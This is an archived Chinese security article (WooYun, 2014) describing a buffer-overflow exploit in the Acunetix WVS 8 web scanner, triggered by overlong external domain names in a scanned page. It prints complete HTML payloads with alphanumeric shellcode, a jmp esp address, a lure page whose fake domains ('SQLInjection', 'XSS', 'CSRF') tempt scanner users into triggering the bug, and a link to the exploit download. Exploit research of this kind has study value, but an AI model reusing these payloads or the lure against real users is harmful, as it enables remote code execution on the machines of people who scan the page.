# 漏扫工具AWVS命令执行

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-04-26T05:06:00Z
Canonical: https://wepostx.com/topics/447

> 乌云历史资料归档
>
> **原始作者：** livers
> **原始编号：** superkieran-wooyundrops:232
> **原始发布时间：** 2014-04-26 13:06
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

From: http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html

## 0x00 概述

几个星期前，作者曾发表了关于WINRAR 0DAY（文件名欺骗）的文章。得到了大量人的关注和询问，所以这次又放出一个0day (最热门的漏扫工具 wvs)。作者POC测试版本为： ACUNETIX 8 (build 20120704) 貌似是老外用的非常多版本。作者意图想让攻击者在使用wvs 按下扫描键前三思而后行（这个才是真正的主动防护吧：）。

## 0x01 漏洞分析

ACUNETIX 是一款强大的漏扫工具，很多新手喜欢用这个工具进行扫描。
在扫描初始化阶段，会有这样一个附加选项，如下图

![原文图片](/media/2016/06/98aab3cc948b9c7fb29086f0c95b20ce)

这一点让作者产生了兴趣，通过分析得出wvs 在解析http response时，提取一些资源请求 类似:

```text
#!html <img src=http://externalSource.com/someimg.png > <a href=http://externalSource.com/ ></a> Etc...
```
作者又进一步分析了这个过程，惊奇的发现当某个外部域名长度超过268字节，wvs就会crash,作者开始尝试构造>=268字节长度的域名： 首先测试 如下

```text
<A href= "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
```
用Immunity Debugger（OD是这工具的母板）附加挂载到wvs访问网站： Edx被0x41(A)覆盖 ，然后取数据段内存越权访问崩溃了：

![原文图片](/media/2016/06/42d5f1ac257038bd732ec44e18a33e97)

作者本打算利用SHE溢出执行shellcode但是比较麻烦。
这里有个难点：
因为是url字串所以避免url的编码类似

```text
0x22 ("), 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (), 0x2F (/)
```
所以，这里的shellcode不仅要是ascii，还要去除被URL编码的字符，也因为如此很难绕过SHE保护。
作者提出的思路，利用前面可控制的EDX构造一个可读的地址，同时要注意构造的edx地址要加8H

```text
#!bash MOVE ECX, DWORD PTR DS: [EDX-8];
```
Edx必须满足下列两个条件：

```text
1.[edx]可读 2.是ASCII符合并且没有被URL转义的符号
```
最终利用了0x663030XX 对应ascii值 f005。
前面精确测试出URL在268字节时溢出（不包括http://），溢出点就是269这里（500f开始）。

```text
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB">
```
用wvs扫描

![原文图片](/media/2016/06/72c46fd0d0cdcd58f0268a828953ac81)

Ret之后，看到eip 被覆盖BBBB 0x42424242。
这里就选择shellcode 存放位置 ，eax是call函数时的参数，就只有268字节的A，esp当前栈顶指针指向着后面的B 明显选择esp（因为够大 ascii编码268字节的shellcode很紧张的） 能控制到eip,也找好了shellcode存放空间。
再者就是找jmp esp 以前都是用公开的通用地址，这里需要ascii字符且不被url编码的，作者用的系统sxs.dll 的0x7e79515d，ascii编码]Qy~ 组合起来整个poc就是

```text
<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
```
最后，用metasploit的Alphanumeric Shell模块生成了一个纯ascii且没有被url编码的弹calc.exe的shellcode ,你也可以试试用mst生成其他的shellcode玩玩，选取的地址[edx]和wvs（没有开启dep的编译选项），所以绕过dep防护。

```text
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA">
```

## 0x02 利用

作者这里搞的非常好玩，因为这个点必须要用wvs人选择下面这个才会有效。

![原文图片](/media/2016/06/f115bc1b068c77359e179038aa6c9db9)

So,作者很猥琐构造了一些很诱惑的外部域名

```text
“SQLINJECTION” “XSS” “CSRF” And so on… <html> <img src="http://SQLInjection..............................................................................................................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”> <img src="http://XSS.............................................................................................................................................................................................."> <img src="http://CSRF.............................................................................................................................................................................................."> <img src="http://DeepScan.............................................................................................................................................................................................."> <img src="http://NetworkScan.............................................................................................................................................................................................."> <img src="http://DenialOfService.............................................................................................................................................................................................."> </html>
```
如下图：

![原文图片](/media/2016/06/1802da58ae92198adac42ace60750b11)

## 0x03 总结

我测试Wvs8.0 build 20120704 版本是可以成功弹出calc的。
后面评论有人说wvs8.0更新的版本也存在这个问题，我这里测试下列版本：
Wvs8.0 20130416版本 Wvs9 各个版本
都不存在此问题。

![原文图片](/media/2016/06/3a047c71dfb366ae6348b792557fe1e6)

作者给出的 [exp下载](http://static.wooyun.org/20141017/2014101715304818610.zip)。

## Replies
